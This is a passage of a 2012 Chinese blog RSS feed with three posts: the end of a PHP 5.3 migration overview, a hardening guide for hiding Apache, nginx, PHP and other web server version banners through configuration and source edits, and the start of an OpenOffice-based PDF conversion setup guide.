应用程序，它们将使用这些扩展并且保证这些扩展是可用的。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">一个新的团队在去年接管了 PHP Windows 构建。这个小组将为 Windows 上的用户提供一些改进。新的构建将以 586 架构（Intel&#174; Pentium&#174; 或更高型号）为目标，并要求 Windows 2000/XP 或更高版本，另外去掉了对 Windows 98/NT 及之前版本的支持。将构建使用 Microsoft&#174; Visual Studio&#174; 2008 构建的 PHP 构建和针对 x86-64 架构的构建。当和 Microsoft IIS Web 服务器上的 FastCGI 或者和 Apache 一起使用时，在使用相同的编译器和架构进行构建的情况下，它们可以提供更高的性能。Windows 安装程序也将有所改进，以便更好地在 Microsoft IIS Web 服务器上配置 PHP。该团队专门为 Windows 上的 PHP 建立了一个网站（参见&nbsp;<a href="http://www.ibm.com/developerworks/cn/opensource/os-php-5.3new5/?ca=drs-tp4608#resources" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; ">参考资料</a>）。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" style="line-height: normal; " height="1" width="100%"  alt="" /><br style="line-height: normal; " /><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " border="0" height="6" width="8"  alt="" /></td></tr></tbody></table><table fck__showtableborders"="" style="table-layout: auto !important; line-height: normal; " cellpadding="0" cellspacing="0" align="right"><tbody style="line-height: normal; "><tr style="line-height: normal; " align="right"><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " height="4" width="100%"  alt="" /></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N101B3" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">.ini 的变化</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">PHP 的一个重要特性是，可以使用 .ini 文件配置它的行为。在 PHP V5.3 中，与这个文件有关的一些有问题的指令已经被删除，例如 zend.ze1_compatibility_mode。现在，在使用这个文件时，灵活性有了巨大的提高。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">对于 php.ini 文件有两个重大的改进：</p><ul style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><li style="line-height: normal; ">在 php.ini 文件中可以使用变量。这对于减少该文件的冗余非常方便，必要时更新文件也更加方便。清单 5 显示了一个例子。&nbsp;<br style="line-height: normal; " /><br style="line-height: normal; " /><a name="N101C7" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><strong style="line-height: normal; "><u style="line-height: normal; ">清单 5. php.ini 文件中的变量</u></strong></a><br style="line-height: normal; " /><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><pre style="line-height: normal; "><br style="line-height: normal; " />foo = bar <br style="line-height: normal; " /><br style="line-height: normal; " />[section] <br style="line-height: normal; " />newfoo = ${bar}</pre></td></tr></tbody></table><br style="line-height: normal; " /><em style="line-height: normal; ">foo</em>&nbsp;和&nbsp;<em style="line-height: normal; ">newfoo</em>&nbsp;有相同的值。</li><li style="line-height: normal; ">和用 Apache 配置文件进行设置一样，可以进行 per-directory 和 per-site PHP ini 设置。这样做的优点是，在所有不同的可运行 PHP 的 SAPI 中，语法都是一致的。清单 6 显示了如何进行 PHP ini 设置。&nbsp;<br style="line-height: normal; " /><br style="line-height: normal; " /><a name="N101DA" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><strong style="line-height: normal; "><u style="line-height: normal; ">清单 6. per-site 和 per-directory .ini 设置</u></strong></a><br style="line-height: normal; " /><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><pre style="line-height: normal; "><br style="line-height: normal; " />[PATH=/var/www/site1] <br style="line-height: normal; " /><br style="line-height: normal; " />; directives here only apply to PHP files in the /var/www/site1 directory <br style="line-height: normal; " /><br style="line-height: normal; " />[HOST=www.example.com] <br style="line-height: normal; " /><br style="line-height: normal; " />; directives here only apply to PHP files requested from the www.example.com site.</pre></td></tr></tbody></table></li></ul><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">还可以像对待 Apache HTTP Web 服务器上的 .htaccess 文件一样，在用户指定的、位于文件系统的 .ini 文件中创建这些 .ini 指令。这个文件的默认文件名由 user_ini.filename 指令指定。通过将这条指令设置为空值，可以禁用该特性。在用户指定的 .ini 文件中，任何 per-site 和 per-directory 指令都不能被覆盖。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" style="line-height: normal; " height="1" width="100%"  alt="" /><br style="line-height: normal; " /><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " border="0" height="6" width="8"  alt="" /></td></tr></tbody></table><table fck__showtableborders"="" style="table-layout: auto !important; line-height: normal; " cellpadding="0" cellspacing="0" align="right"><tbody style="line-height: normal; "><tr style="line-height: normal; " align="right"><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " height="4" width="100%"  alt="" /></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N101E5" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">放弃的特性</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">PHP V5.3 开始正式放弃一些较旧的函数，将来版本的 PHP 中将不再提供它们。当使用这些函数时，会遇到&nbsp;<code style="line-height: normal; ">E_DEPRECATED</code>&nbsp;错误。以下函数在 PHP V5.3 中被遗弃：</p><ul style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><li style="line-height: normal; ">tick（<code style="line-height: normal; ">declare(ticks=N)</code>&nbsp;和&nbsp;<code style="line-height: normal; ">register_tick_function()</code>），之前用于在&nbsp;<code style="line-height: normal; ">declare()</code>&nbsp;块中当解析器每执行&nbsp;<em style="line-height: normal; ">n</em>&nbsp;条语句时就进行一个函数调用。它们将被废除，因为它们的函数中有很多的中断，而且该特性不大常用。</li><li style="line-height: normal; "><code style="line-height: normal; ">define_syslog_variables()</code>，该函数初始化所有与 syslog 相关的变量。该函数不是必需的，因为它定义的常量已经被全局定义。废除这个函数调用应该是有必要的。</li><li style="line-height: normal; "><code style="line-height: normal; ">ereg</code>&nbsp;正则表达式函数。建议使用 PCRE 正则表达式函数替代，因为它们更快，并且与其他语言和应用程序中使用的正则表达式更加一致。对&nbsp;<code style="line-height: normal; ">ereg</code>&nbsp;函数的支持将被废除，以使 PHP 可以标准化地使用一个正则表达式引擎。</li></ul><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">建议在迁移到 PHP V5.3 时移除这些特性。将来主要的 PHP 发行版将取消对上述特性的支持。</p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><br style="line-height: normal; " /></p><table style="table-layout: auto !important; line-height: normal; " border="0" cellpadding="0" cellspacing="0" width="100%"><tbody style="line-height: normal; "><tr style="line-height: normal; "><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_eQbOa8NpcN.gif" style="line-height: normal; " height="1" width="100%"  alt="" /><br style="line-height: normal; " /><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " border="0" height="6" width="8"  alt="" /></td></tr></tbody></table><table fck__showtableborders"="" style="table-layout: auto !important; line-height: normal; " cellpadding="0" cellspacing="0" align="right"><tbody style="line-height: normal; "><tr style="line-height: normal; " align="right"><td style="font-family: Arial; word-wrap: break-word; word-break: break-all; visibility: visible !important; zoom: 1 !important; filter: none; font-size: 12px; line-height: normal; "><img src="http://www.phpv.net/uploadfile/month_200904/local_uJxg29DrrJ.gif" style="line-height: normal; " height="4" width="100%"  alt="" /></td></tr></tbody></table><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; "><a name="N1021A" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; "><span style="line-height: normal; "><u style="line-height: normal; ">结束语</u></span></a></p><p style="line-height: normal; color: #000000; font-family: Arial; font-size: 12px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; background-color: #f3fafd; ">PHP V5.3 有很多新的特性，同时也 &#8220;清除&#8221; 了一些内容。另外也存在一些向后兼容的问题。本文为将 Web 应用程序迁移到 PHP V5.3 提供了一些指南。要了解最新的关于 PHP V5.3 的详细信息，请参阅&nbsp;<a href="http://www.ibm.com/developerworks/cn/opensource/os-php-5.3new5/?ca=drs-tp4608#resources" style="color: #004f61; font-size: 12px; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: normal; text-decoration: none; line-height: normal; ">PHP wiki</a>，其中提供了可能影响到应用程序的任何其他变化的说明。</p></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/370855.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-02-27 16:43 <a href="http://www.blogjava.net/xiaomage234/archive/2012/02/27/370855.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>隐藏nginx apache和php的版本信息不显示</title><link>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370852.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Mon, 27 Feb 2012 08:06:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370852.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/370852.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/02/27/370852.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/370852.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/370852.html</trackback:ping><description><![CDATA[<div>web server避免一些不必要的麻烦，可以把apache和php的版本信息不显示<br /><br />隐藏 Apache 版本信息<br /><br />/etc/apache2/apache2.conf 或 /etc/httpd/conf/httpd.conf<br /><br />ServerTokens ProductOnly<br />ServerSignature Off<br /><br />重启 apache<br />现在 http 头里面只看到:<br />Server: Apache<br /><br />=====================<br /><br />nginx<br /><br />#vi nginx.conf<br />在http 加上 server_tokens off;<br /><br />如下：<br /><br />http {<br />&#8230;&#8230;省略配置<br />sendfile on;<br />tcp_nopush on;<br />keepalive_timeout 65;<br />tcp_nodelay on;<br />server_tokens off;<br />&#8230;&#8230;.省略配置<br />}<br /><br />=======================<br /><br />隐藏 PHP 版本<br />php.ini<br /><br />expose_php On<br />改成<br />expose_php Off<br /><br />重启apache后，php版本在http头中隐藏了。<br /><br />详解 ：<br /><br />为了防止某些别有用心的家伙窥视我们的服务器，应该做些什么.<br />我们来看一下相关的2个参数，分别为ServerTokens和ServerSignature,通过控制这2个阀门应该就能起到一些作用，比如我们可以在配置文件中这么写：<br />ServerTokens Prod<br />ServerSignature Off<br /><br />ServerTokens<br />用 于控制服务器是否相应来自客户端的请求，向客户端输出服务器系统类型或内置模块等重要的系统信息。在主配置文件中提供全局控制默认阀值为"Full" (ServerTokens  Full），所以，如果你的Linux发行版本没有更改过这个阀值的话，所有与你的系统有关的敏感信息都会向全世界公开。比如RHEL会将该阀值更改 为"ServerTokens OS"，而Debian依然使用默认的"Full"阀值<br />以apache-2.0.55为例，阀值可以设定为以下某项（后面为相对应的Banner Header)：<br />Prod &gt;&gt;&gt; Server: Apache<br />Major &gt;&gt;&gt; Server: Apache/2<br />Minor &gt;&gt;&gt; Server: Apache/2.0<br />Minimal &gt;&gt;&gt; Server: Apache/2.0.55<br />OS &gt;&gt;&gt; Server: Apache/2.0.55 (Debian)<br />Full (or not specified) default &gt;&gt;&gt; Server: Apache/2.0.55 (Debian) PHP/5.1.2-1+b1 mod_ssl/2.0.55 OpenSSL/0.9.8b<br /><br />ServerSignature<br />控制由系统生成的页面（错误信息，mod_proxy ftp directory listing等等）的页脚中如何显示信息。<br /><br />可在全局设置文件中控制，或是通过.htaccess文件控制<br />默认为"off"(ServerSignature Off),有些Linux发行版本可能会打开这个阀门，比如Debian在默认的虚拟主机上默认将这个阀门设置为开放<br />全局阀门的阀值会被虚拟主机或目录单位的配置文件中的阀值所覆盖，所以，必须确保这样的事情不应该发生<br />可用的阀值为下面所示：<br />Off (default): 不输出任何页脚信息 （如同Apache1.2以及更旧版本，用于迷惑）<br />On:输出一行关于版本号以及处于运行中的虚拟主机的ServerName (2.0.44之后的版本，由ServerTokens负责是否输出版本号）<br />EMail: 创建一个发送给ServerAdmin的"mailto"<br /><br />注意＊上述关于如何设置2个阀门从而尽量减少敏感信息泄露的方法，并不会使你的服务器真的更安全，如果你现在使用的版本比较旧，请务必尽快将系统升级，降低被蠕虫攻击的风险。<br /><p>&nbsp;</p><p>隐藏server信息</p><p>cd /usr/local/src/nginx-0.5.35/src/core/<br /> [root@zyatt core]# cat nginx.h<br /> /*<br /> * Copyright (C) Igor Sysoev<br /> */<br /> #ifndef _NGINX_H_INCLUDED_<br /> #define _NGINX_H_INCLUDED_<br /> #define NGINX_VERSION&nbsp; &nbsp;&nbsp; &nbsp;"1.0"<br /> #define NGINX_VER&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; "LPKWS/" NGINX_VERSION<br /> #define NGINX_VAR&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; "LPKWS"<br /> #define NGX_OLDPID_EXT&nbsp; &nbsp;&nbsp;&nbsp;".oldbin"<br /> #endif /* _NGINX_H_INCLUDED_ */<br /> 测试效果<br /> C:\curl-7.18.0&gt;curl.exe -I 211.100.11.122/info.php</p><p> HTTP/1.1 200 OK<br /> Server: LPKWS/1.0<br /> Date: Tue, 11 Mar 2008 04:53:02 GMT<br /> Content-Type: text/html<br /> Transfer-Encoding: chunked<br /> Connection: keep-alive<br /> Keep-Alive: timeout=20<br /> X-Powered-By: PHP/5.2.4</p><p>&nbsp;</p><p><span style="color: #000000;">还有更彻底的编译安装</span></p><p><span style="color: #000000;">修改src/core/nginx.h</span></p><div><div><div><p><span style="color: #000000;">#define NGINX_VERSION      "1.0.5"</span></p><p><span style="color: #000000;">#define NGINX_VER          "<span style="color: #ff0000;">nginx</span>/" NGINX_VERSION</span></p><p><span style="color: #000000;">#define NGINX_VAR          "NGINX"</span></p><p><span style="color: #000000;"><br /></span></p></div></div></div><p><span style="color: #000000;">修改src/http/ngx_http_header_filter_module.c</span>48-49<br /> static char ngx_http_server_string[] = "<span style="color: #ff0000;">Server: nginx</span>" CRLF;<br /> static char ngx_http_server_full_string[] = "<span style="color: #ff0000;">Server: nginx</span>" CRLF;</p><div><div><div><p><span style="color: #000000;"><br /></span></p></div></div></div><p><span style="color: #000000;">修改src/http/ngx_http_special_response.c</span></p><div><div><div><p><span style="color: #000000;">static</span><span style="color: #000000;">u_char ngx_http_error_tail</span><span style="color: #000000;">[</span><span style="color: #000000;">]</span><span style="color: #000000;">=</span><span style="color: #000000;">"&lt;hr&gt;&lt;center&gt;<span style="color: #ff0000;">nginx</span>&lt;/center&gt;"</span><span style="color: #000000;">CRLF</span></p><p><span style="color: #000000;">"&lt;/body&gt;"</span><span style="color: #000000;">CRLF</span></p><p><span style="color: #000000;">"&lt;/html&gt;"</span><span style="color: #000000;">CRLF</span></p><p><span style="color: #000000;">;</span></p><p><span style="color: #000000;"><br /></span></p></div></div></div><p><span style="color: #000000;">嘿嘿，接下来就编译安装吧！不过修改源码后还有1个地方要修改哦，Nginx的FastCGI配置文件fastcgi.conf</span></p><div><div><div>fastcgi_param  SERVER_SOFTWARE    nginx/$nginx_version;</div></div></div><p><strong>常用Web Server版本名称：</strong></p>Microsoft-IIS <br />GWS或GFE <br />Apache <br /><p>Lighttpd</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>1. Lighttpd 1.4.20<br />src/response.c:108 改为：<br />buffer_append_string_len(b, CONST_STR_LEN("Server: jufukeji"));<br />输出 Header：<br />HTTP/1.1 404 Not Found<br />Content-Type: text/html<br />Content-Length: 345<br />Date: Mon, 12 Jan 2009 13:54:02 GMT<br />Server: jufukeji<br /><br />2. Nginx 0.7.30<br />src/http/ngx_http_header_filter_module.c:48-49 改为：<br />static char ngx_http_server_string[] = "Server: jufukeji" CRLF;<br />static char ngx_http_server_full_string[] = "Server: jufukeji" CRLF;<br />输出 Header：<br />HTTP/1.1 200 OK<br />Server: jufukeji<br />Date: Mon, 12 Jan 2009 14:01:10 GMT<br />Content-Type: text/html<br />Content-Length: 151<br />Last-Modified: Mon, 12 Jan 2009 14:00:56 GMT<br />Connection: keep-alive<br />Accept-Ranges: bytes<br /><br />3. Cherokee 0.11.6<br />cherokee/version.c:93 添加：<br />ret = cherokee_buffer_add_str (buf, "jufukeji");<br />return ret;<br />输出 Header：<br />HTTP/1.1 200 OK<br />Connection: Keep-Alive<br />Keep-Alive: timeout=15<br />Date: Mon, 12 Jan 2009 14:54:39 GMT<br />Server: jufukeji<br />ETag: 496b54af=703<br />Last-Modified: Mon, 12 Jan 2009 14:33:19 GMT<br />Content-Type: text/html<br />Content-Length: 1795<br /><br />4. Apache 2.2.11<br />server/core.c:2784 添加：<br />ap_add_version_component(pconf, "jufukeji");<br />return;<br />输出 Header：<br />HTTP/1.1 200 OK<br />Date: Mon, 12 Jan 2009 14:28:10 GMT<br />Server: jufukeji<br />Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT<br />ETag: "1920edd-2c-3e9564c23b600"<br />Accept-Ranges: bytes<br />Content-Length: 44<br />Content-Type: text/html<br /><br />5. Squid 3.0 STABLE 11<br />src/globals.cc:58 改为：<br />const char *const full_appname_string = "jufukeji";<br />输出 Header：<br />HTTP/1.0 400 Bad Request<br />Server: jufukeji<br />Mime-Version: 1.0<br />Date: Mon, 12 Jan 2009 15:25:15 GMT<br />Content-Type: text/html<br />Content-Length: 1553<br />Expires: Mon, 12 Jan 2009 15:25:15 GMT<br />X-Squid-Error: ERR_INVALID_URL 0<br />X-Cache: MISS from 'cache.hutuworm.org'<br />Via: 1.0 'cache.hutuworm.org' (jufukeji)<br />Proxy-Connection: close<br /><br />6. Tomcat 6.0.18<br />java/org/apache/coyote/http11/Constants.java:56 和 java/org/apache/coyote/ajp/Constants.java:236 均改为：<br />ByteChunk.convertToBytes("Server: jufukeji" + CRLF);<br />输出 Header：<br />HTTP/1.1 200 OK<br />Server: jufukeji<br />ETag: W/"7857-1216684872000"<br />Last-Modified: Tue, 22 Jul 2008 00:01:12 GMT<br />Content-Type: text/html<br />Content-Length: 7857<br />Date: Mon, 12 Jan 2009 16:30:44 GMT<br /><br />7. JBoss 5.0.0 GA<br />a. tomcat/src/resources/web.xml:40 改为<br />jufukeji<br />b. 下载 JBoss Web Server 2.1.1.GA srctar （http://www.jboss.org/jbossweb/downloads/jboss-web/）<br />java/org/apache/coyote/http11/Constants.java:56 和 java/org/apache/coyote/ajp/Constants.java:236 均改为：<br />ByteChunk.convertToBytes("Server: jufukeji" + CRLF);<br />将编译所得 jbossweb.jar 覆盖 JBoss 编译输出文件：<br />JBOSS_SRC/build/output/jboss-5.0.0.GA/server/all/deploy/jbossweb.sar/jbossweb.jar<br />JBOSS_SRC/build/output/jboss-5.0.0.GA/server/standard/deploy/jbossweb.sar/jbossweb.jar<br />JBOSS_SRC/build/output/jboss-5.0.0.GA/server/default/deploy/jbossweb.sar/jbossweb.jar<br />JBOSS_SRC/build/output/jboss-5.0.0.GA/server/web/deploy/jbossweb.sar/jbossweb.jar<br />输出 Header：<br />HTTP/1.1 200 OK<br />Server: jufukeji<br />X-Powered-By: jufukeji<br />Accept-Ranges: bytes<br />ETag: W/"1581-1231842222000"<br />Last-Modified: Tue, 13 Jan 2009 10:23:42 GMT<br />Content-Type: text/html<br />Content-Length: 1581<br />Date: Tue, 13 Jan 2009 10:30:42 GM</p></div><img src ="http://www.blogjava.net/xiaomage234/aggbug/370852.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/xiaomage234/" target="_blank">小马歌</a> 2012-02-27 16:06 <a href="http://www.blogjava.net/xiaomage234/archive/2012/02/27/370852.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>多线程ppt|doc|docx|pptx转换pdf 【转】</title><link>http://www.blogjava.net/xiaomage234/archive/2012/02/11/369799.html</link><dc:creator>小马歌</dc:creator><author>小马歌</author><pubDate>Sat, 11 Feb 2012 12:47:00 GMT</pubDate><guid>http://www.blogjava.net/xiaomage234/archive/2012/02/11/369799.html</guid><wfw:comment>http://www.blogjava.net/xiaomage234/comments/369799.html</wfw:comment><comments>http://www.blogjava.net/xiaomage234/archive/2012/02/11/369799.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/xiaomage234/comments/commentRss/369799.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/xiaomage234/services/trackbacks/369799.html</trackback:ping><description><![CDATA[<div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-left: 5px; line-height: 17px; overflow-x: hidden; overflow-y: hidden; color: #555555; font-family: Verdana, 'BitStream vera Sans', Tahoma, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff; "><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">今天给我的转换服务器更新openoffice版本的时候&#183;也顺便搜索了下jodconverter的版本&#183;在官网上目前还是 2.2.2 版本&#183;但是在 google 的时候发现了 code 上 有 3.0的版本&#183;就立刻下载下来在虚拟机器上做测试，测试后发现 3.0版本 的 jodconverter 做的很不错&#183;支持了服务器多进程，也就说明可以多线程转换了，避免了转换排队现象。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">1.下载安装 openoffice 3.2,我的环境是ubuntu所以下载的是deb包，如果你是centos请下载rpm包。</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; wget http://download.services.openoffice.org/files/localized/zh-CN/3.2.1/OOo_3.2.1_Linux_x86_install-deb_zh-CN.tar.gz ppt2pdf $&gt; tar zxvf OOo_3.2.1_Linux_x86_install-deb_zh-CN.tar.gz ppt2pdf $&gt; cd OOO320_m18_native_packed-1_zh-CN.9502 ppt2pdf $&gt; cd DEBS ppt2pdf $&gt; dpkg -i *.deb</pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">2.然后下载中文字库防止乱码</p><pre style="margin-top: 5px; margin-bottom: 5px; padding-top: 8px; padding-right: 12px; padding-bottom: 8px; padding-left: 36px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #f4f5f7; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: dashed; border-right-style: dashed; border-bottom-style: dashed; border-left-style: dashed; border-top-color: #cccccc; border-right-color: #cccccc; border-bottom-color: #cccccc; border-left-color: #cccccc; border-image: initial; white-space: pre-wrap; ">ppt2pdf $&gt; apt-get install language-pack-zh language-support-fonts-zh</pre><p 